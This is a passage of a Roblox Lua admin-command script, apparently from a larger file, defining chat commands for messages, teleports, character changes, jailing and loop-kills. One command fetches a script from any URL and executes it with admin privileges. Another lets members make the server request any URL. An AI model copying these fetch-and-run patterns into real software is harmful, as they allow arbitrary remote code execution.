  5434. Instance.new("ForceField", Player.Character)
  5435. end
  5436. end
  5437. end};
  5438.  
  5439. [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5440. local Players = STRING:Scan(Arguments[1], Speaker)
  5441. for _,Player in pairs(Players) do
  5442. if Player.Character then
  5443. for _,Get in pairs(Player.Character:GetChildren()) do
  5444. if Get:IsA("ForceField") then
  5445. Get:Destroy()
  5446. end
  5447. end
  5448. end
  5449. end
  5450. end};
  5451.  
  5452. [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5453. for _,Player in pairs(Server.Players:GetPlayers()) do
  5454. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
  5455. end
  5456. end};
  5457.  
  5458. [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5459. for _,Player in pairs(Server.Players:GetPlayers()) do
  5460. GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
  5461. end
  5462. end};
  5463.  
  5464. [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5465. local Players = STRING:Scan(Arguments[1], Speaker)
  5466. for _,Player in pairs(Players) do
  5467. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
  5468. end
  5469. end};
  5470.  
  5471. [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5472. for _,Player in pairs(Server.Players:GetPlayers()) do
  5473. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
  5474. end
  5475. end};
  5476.  
  5477. [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5478. local Players = STRING:Scan(Arguments[1], Speaker)
  5479. for _,Player in pairs(Players) do
  5480. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
  5481. end
  5482. end};
  5483.  
  5484. [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5485. local Players = STRING:Scan(Arguments[1], Speaker)
  5486. local AgeList = {}
  5487. for _,Player in pairs(Players) do
  5488. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5489. end
  5490. GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
  5491. end};
  5492.  
  5493. [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  5494. local Players = STRING:Scan(Arguments[1], Speaker)
  5495. local AgeList = {}
  5496. for _,Player in pairs(Players) do
  5497. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5498. end
  5499. local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  5500. for _,Player in pairs(SecondPlayers) do
  5501. GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  5502. end
  5503. end};
  5504.  
  5505. [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5506. local Storage = {{}, {}, {}, {}}
  5507. local StorageText = {}
  5508. local Formatted = {}
  5509. for CommandNames,Data in pairs(Commands) do
  5510. if not Data.Hidden then
  5511. local RankNeeded = RANK:ConvertRank(Data[4])
  5512. local Add = ""
  5513. if Data[4] == "Non-Admin" then Add = "BLACK " end
  5514. if Data[4] == "Admin" then Add = "CYAN " end
  5515. if Data[4] == "Member" then Add = "BLUE " end
  5516. if Data[4] == "Owner" then Add = "BROWN " end
  5517. if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  5518. local AddBet = Settings.Bet
  5519. if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  5520. local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  5521. table.insert(Storage[RankNeeded + 1], Add..Text)
  5522. StorageText[Text] = CommandNames
  5523. end
  5524. end
  5525. for Num,_ in pairs(Storage) do
  5526. table.sort(Storage[Num])
  5527. end
  5528. for _,Table in pairs(Storage) do
  5529. for _,Command in pairs(Table) do
  5530. table.insert(Formatted, Command)
  5531. end
  5532. end
  5533. local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  5534. Clicked.Event:connect(function(Text)
  5535. GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
  5536. end)
  5537. end};
  5538.  
  5539. [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5540. GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  5541. end};
  5542.  
  5543. [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5544. if GUI:GetColor(Arguments[1]) then
  5545. local ColorScheme = string.upper(Arguments[1])
  5546. if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  5547. Settings.ColorScheme = ColorScheme
  5548. GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  5549. else
  5550. GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  5551. end
  5552. end};
  5553.  
  5554. [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5555. local List = {}
  5556. for Color,_ in pairs(Colors) do
  5557. table.insert(List, Color.." "..Color)
  5558. end
  5559. GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  5560. end};
  5561.  
  5562. [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5563. local Transparency = tonumber(Arguments[1])
  5564. if Transparency then
  5565. if Transparency > 90 then Transparency = 90 end
  5566. if Transparency < 10 then Transparency = 10 end
  5567. Settings.TransparencyScheme = Transparency/100
  5568.  
  5569. GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  5570. else
  5571. GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  5572. end
  5573. end};
  5574.  
  5575. [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5576. if Fonts[Arguments[1]] then
  5577. Settings.Font = Arguments[1]
  5578. GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  5579. end
  5580. end};
  5581.  
  5582. [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5583. Settings.Fun = not Settings.Fun
  5584. GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  5585. end};
  5586.  
  5587. [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5588. Settings.DisableAbuse = not Settings.DisableAbuse
  5589. GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  5590. end};
  5591.  
  5592. [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  5593. local List = {}
  5594. for Font,_ in pairs(Fonts) do
  5595. if Font == Settings.Font then
  5596. table.insert(List, Font.." "..Font.." (CURRENT FONT)")
  5597. else
  5598. table.insert(List, Font.." "..Font)
  5599. end
  5600. end
  5601. GUI:ListGui(Speaker, "Font list", List, 44453197)
  5602. end};
  5603.  
  5604. [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5605. local SoundID = tonumber(Arguments[1])
  5606. if SoundID then
  5607. Settings.ExecuteNotificationSound = SoundID
  5608.  
  5609. GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  5610. else
  5611. GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  5612. end
  5613. end};
  5614.  
  5615. [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5616. Settings.ExecuteNotificationSound = 0
  5617. end};
  5618.  
  5619. [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5620. local Players = STRING:Scan(Arguments[1], Speaker)
  5621. for _,Player in pairs(Players) do
  5622. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  5623. end
  5624. end};
  5625.  
  5626. [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  5627. local Players = STRING:Scan(Arguments[1], Speaker)
  5628. for _,Player in pairs(Players) do
  5629. CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  5630. end
  5631. end};
  5632.  
  5633. [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  5634. local Players = STRING:Scan(Arguments[1], Speaker)
  5635. for _,Player in pairs(Players) do
  5636. coroutine.wrap(function()
  5637. CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  5638. wait(1)
  5639. GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  5640. end)()
  5641. end
  5642. end, Hidden = true};
  5643.  
  5644. [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5645. local Players = STRING:Scan(Arguments[1], Speaker)
  5646. for _,Player in pairs(Players) do
  5647. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  5648. end
  5649. end};
  5650.  
  5651. [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  5652. local Players = STRING:Scan(Arguments[1], Speaker)
  5653. for _,Player in pairs(Players) do
  5654. CORE:ChangeName(Player, Arguments[2])
  5655. end
  5656. end};
  5657.  
  5658. [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  5659. local Players = STRING:Scan(Arguments[1], Speaker)
  5660. for _,Player in pairs(Players) do
  5661. if Player.Character then
  5662. local Head = Player.Character:FindFirstChild("Label")
  5663. if Head then Head:Destroy() end
  5664. local Head = Player.Character:FindFirstChild("Head")
  5665. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  5666. end
  5667. end
  5668. end};
  5669.  
  5670. [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  5671. local Players = STRING:Scan(Arguments[1], Speaker)
  5672. for _,Player in pairs(Players) do
  5673. CORE:ChangeCharacter(Player, 11397, false, Speaker)
  5674. end
  5675. end};
  5676.  
  5677. [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5678. local Players = STRING:Scan(Arguments[1], Speaker)
  5679. for _,Player in pairs(Players) do
  5680. local _,RankNum = RANK:GetRank(Player)
  5681. if RankNum <= RANK:ConvertRank(Rank) then
  5682. Server.TS:Teleport(Arguments[2], Player)
  5683. end
  5684. end
  5685. end};
  5686.  
  5687. [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5688. local Players = STRING:Scan(Arguments[1], Speaker)
  5689. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5690. if Suc then
  5691. for _,Player in pairs(Players) do
  5692. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5693. end
  5694. else
  5695. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5696. end
  5697. end};
  5698.  
  5699. [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5700. local Players = STRING:Scan(Arguments[1], Speaker)
  5701. MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  5702. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5703. if Suc then
  5704. for _,Player in pairs(Players) do
  5705. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5706. end
  5707. else
  5708. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5709. end
  5710. end)
  5711. end};
  5712.  
  5713. [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5714. local Players = STRING:Scan(Arguments[1], Speaker)
  5715. for _,Player in pairs(Players) do
  5716. local _,RankNum = RANK:GetRank(Player)
  5717. if RankNum < RANK:ConvertRank(Rank) then
  5718. Server.TS:Teleport(155307015, Player)
  5719. end
  5720. end
  5721. end};
  5722.  
  5723. [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5724. local Players = STRING:Scan(Arguments[1], Speaker)
  5725. for _,Player in pairs(Players) do
  5726. local _,RankNum = RANK:GetRank(Player)
  5727. if RankNum < RANK:ConvertRank(Rank) then
  5728. Server.TS:Teleport(347911447, Player)
  5729. end
  5730. end
  5731. end};
  5732.  
  5733. [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5734. local Players = STRING:Scan(Arguments[1], Speaker)
  5735. for _,Player in pairs(Players) do
  5736. CORE:GenerateShield(Player)
  5737. end
  5738. end};
  5739.  
  5740. [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5741. local Players = STRING:Scan(Arguments[1], Speaker)
  5742. for _,Player in pairs(Players) do
  5743. if Player.Character then
  5744. local Shield = Player.Character:FindFirstChild("Shield")
  5745. if Shield then Shield:Destroy() end
  5746. end
  5747. end
  5748. end};
  5749.  
  5750. [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  5751. local Num = tonumber(Arguments[1])
  5752. if Num and Num ~= 0 then
  5753. local Random = math.random(1,math.abs(Num))
  5754. if Random == math.random(1,math.abs(Num)) then
  5755. GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  5756. else
  5757. GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  5758. end
  5759. else
  5760. GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  5761. end
  5762. end};
  5763.  
  5764. [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5765. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  5766. IRC:AddChat(Speaker.Name, Arguments[1])
  5767. end};
  5768.  
  5769. --[[
  5770. [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5771. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  5772. if Res then
  5773. GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  5774. end
  5775. end, Http = true};
  5776.  
  5777. [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5778. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  5779. if Res then
  5780. GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  5781. end
  5782. end}, Http = true;
  5783. ]]
  5784.  
  5785. [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5786. IRC:Quit("Reconnecting")
  5787. IRC:ConnectToServer(Settings.IRCServer)
  5788. end};
  5789.  
  5790. [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5791. local Players = STRING:Scan(Arguments[1], Speaker)
  5792. for _,Player in pairs(Players) do
  5793. local PreAdd = {}
  5794. for _,Data in pairs(IRC.Chats) do
  5795. local Error = nil
  5796. if Rank == "Owner" then Error = Data[3] end
  5797. table.insert(PreAdd, {Data[1], Data[2], Error})
  5798. end
  5799. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  5800. IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  5801. if Rank ~= "Owner" then Error = nil end
  5802. AddMessage:Invoke(UserName, Message, Error)
  5803. end)
  5804. SendPressed.Event:connect(function(Text)
  5805. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  5806. IRC:AddChat(Player.Name, Text)
  5807. end)
  5808. end
  5809. end};
  5810.  
  5811. [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5812. local Players = STRING:Scan(Arguments[1], Speaker)
  5813. for _,Player in pairs(Players) do
  5814. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  5815. if Type == "Leave" then
  5816. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  5817. elseif Type == "Join" then
  5818. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  5819. end
  5820. end)
  5821. PriChat.Chatted.Event:connect(function(UserName, Message)
  5822. AddMessage:Invoke(UserName, Message)
  5823. end)
  5824. SendPressed.Event:connect(function(Text)
  5825. PriChat.Chatted:Fire(Player.Name, Text)
  5826. table.insert(PriChat.Chats, {Player.Name, Text})
  5827. end)
  5828. end
  5829. end};
  5830.  
  5831. [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5832. ExecuteSafe(Arguments[1], Speaker)
  5833. end};
  5834.  
  5835. [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5836. local Script = REMOTE:GetURL(Arguments[1], Player)
  5837. if Script then
  5838. ExecuteSafe(Script, Speaker)
  5839. end
  5840. end, Http = true};
  5841.  
  5842. [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
  5843. local Time = tick()
  5844. local Res = REMOTE:GetURL(Arguments[1], Player)
  5845. if Res then
  5846. GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  5847. end
  5848. end, Http = true};
  5849.  
  5850. [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5851. CORE:RemoveAdmin(Speaker)
  5852. end};
  5853.  
  5854. [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5855. for _,Player in pairs(Server.Players:GetPlayers()) do
  5856. GUI:SendHint(Player, Arguments[1], nil, Speaker)
  5857. end
  5858. end};
  5859.  
  5860. [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5861. local Players = STRING:Scan(Arguments[1], Speaker)
  5862. local Debt = nil
  5863. for _,Player in pairs(Players) do
  5864. if not Debt then
  5865. Debt = GUI:ShowDebtStats(Player)
  5866. else
  5867. GUI:ShowDebtStats(Player, Debt)
  5868. end
  5869. end
  5870. end, Http = true};
  5871.  
  5872. [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5873. local Players = STRING:Scan(Arguments[1], Speaker)
  5874. for _,Player in pairs(Players) do
  5875. GUI:CreateHUD(Player)
  5876. end
  5877. end};
  5878.  
  5879. [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5880. local Players = STRING:Scan(Arguments[1], Speaker)
  5881. for _,Player in pairs(Players) do
  5882. if Player:FindFirstChild("PlayerGui") then
  5883. local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  5884. if HUD then HUD:Destroy() end
  5885. end
  5886. end
  5887. end};
  5888.  
  5889. [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5890. local Players = STRING:Scan(Arguments[1], Speaker)
  5891. GUI:Vote(Speaker, Players, Arguments[2], 30)
  5892. end};
  5893.  
  5894. [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5895. local Players = STRING:Scan(Arguments[1], Speaker)
  5896. for _,Player in pairs(Players) do
  5897. CORE:ExecuteResource("Bomb", Player.Character)
  5898. end
  5899. end};
  5900.  
  5901. [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5902. local Players = STRING:Scan(Arguments[1], Speaker)
  5903. for _,Player in pairs(Players) do
  5904. CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
  5905. CORE:RestoreCamera(Player)
  5906. end
  5907. end};
  5908.  
  5909. [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
  5910. CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
  5911. CORE:RestoreCamera(Speaker)
  5912. end};
  5913.  
  5914. [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  5915. local Players1 = STRING:Scan(Arguments[1], Speaker)
  5916. local Players2 = STRING:Scan(Arguments[2], Speaker)
  5917. for _,Player1 in pairs(Players1) do
  5918. if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  5919. for _,Player2 in pairs(Players2) do
  5920. if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  5921. Player1.Character:MoveTo(Player2.Character.Torso.Position)
  5922. end
  5923. end
  5924. end
  5925. end
  5926. end};
  5927.  
  5928. [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5929. local Players = STRING:Scan(Arguments[1], Speaker)
  5930. for _,Player in pairs(Players) do
  5931. Player:LoadCharacter()
  5932. end
  5933. end};
  5934.  
  5935. [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5936. local Players = STRING:Scan(Arguments[1], Speaker)
  5937. for _,Player in pairs(Players) do
  5938. CORE:RestoreCamera(Player)
  5939. end
  5940. end};
  5941.  
  5942. [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5943. local Players = STRING:Scan(Arguments[1], Speaker)
  5944. for _,Player in pairs(Players) do
  5945. CORE:Jail(Player)
  5946. end
  5947. end};
  5948.  
  5949. [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5950. local Players = STRING:Scan(Arguments[1], Speaker)
  5951. for _,Player in pairs(Players) do
  5952. CORE:UnJail(Player)
  5953. end
  5954. end};
  5955.  
  5956. [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5957. SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  5958. end};
  5959.  
  5960. [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  5961. SOUND:StopSpeaking()
  5962. end};
  5963.  
  5964. [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  5965. local Players = STRING:Scan(Arguments[1], Speaker)
  5966. local Compile = {}
  5967. for Num,Player in pairs(Players) do
  5968. local PlayerRank = RANK:GetRank(Player)
  5969. local PlayerInfo = ClientInfo[Player.Name]
  5970. table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  5971. table.insert(Compile, "User ID: "..Player.UserId)
  5972. table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
  5973. table.insert(Compile, "Rank: "..PlayerRank)
  5974.  
  5975. if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  5976. if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  5977. if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  5978. if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  5979. if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  5980. if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  5981. if PlayerInfo.Benchmark then
  5982. table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  5983. end
  5984. if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  5985. end
  5986. GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  5987. end};
  5988.  
  5989. [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5990. if tonumber(Arguments[2]) then
  5991. local Players = STRING:Scan(Arguments[1], Speaker)
  5992. for _,Player in pairs(Players) do
  5993. coroutine.wrap(function()
  5994. if Player.Character then
  5995. table.insert(LoopKills, Player.Name)
  5996. local Loop = nil
  5997. local PrevChar = nil
  5998.  
  5999. for i = 1,tonumber(Arguments[2]) do
  6000. local Char = Player.Character
  6001. if PrevChar and PrevChar ~= Char then
  6002. PrevChar:Destroy()
  6003. end
  6004. PrevChar = Char
  6005. local CanDie = true
  6006. for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  6007. if CanDie == false then
  6008. break
  6009. end
  6010. ypcall(function() Char.Parent = Server.Lighting end)
  6011. wait(0.1)
  6012. ypcall(function() Char.Parent = Server.Workspace end)
  6013. wait(0.1)
  6014. end
  6015. end
  6016. end)()
  6017. end
  6018. else
  6019. GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  6020. end
  6021. end};
  6022.  
  6023. [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6024. local Players = STRING:Scan(Arguments[1], Speaker)
  6025. for _,Player in pairs(Players) do
  6026. for Num,Name in pairs(LoopKills) do
  6027. if Player.Name == Name then
  6028. table.remove(LoopKills, Num)
  6029. end
  6030. end
  6031. end
  6032. end};
  6033.  
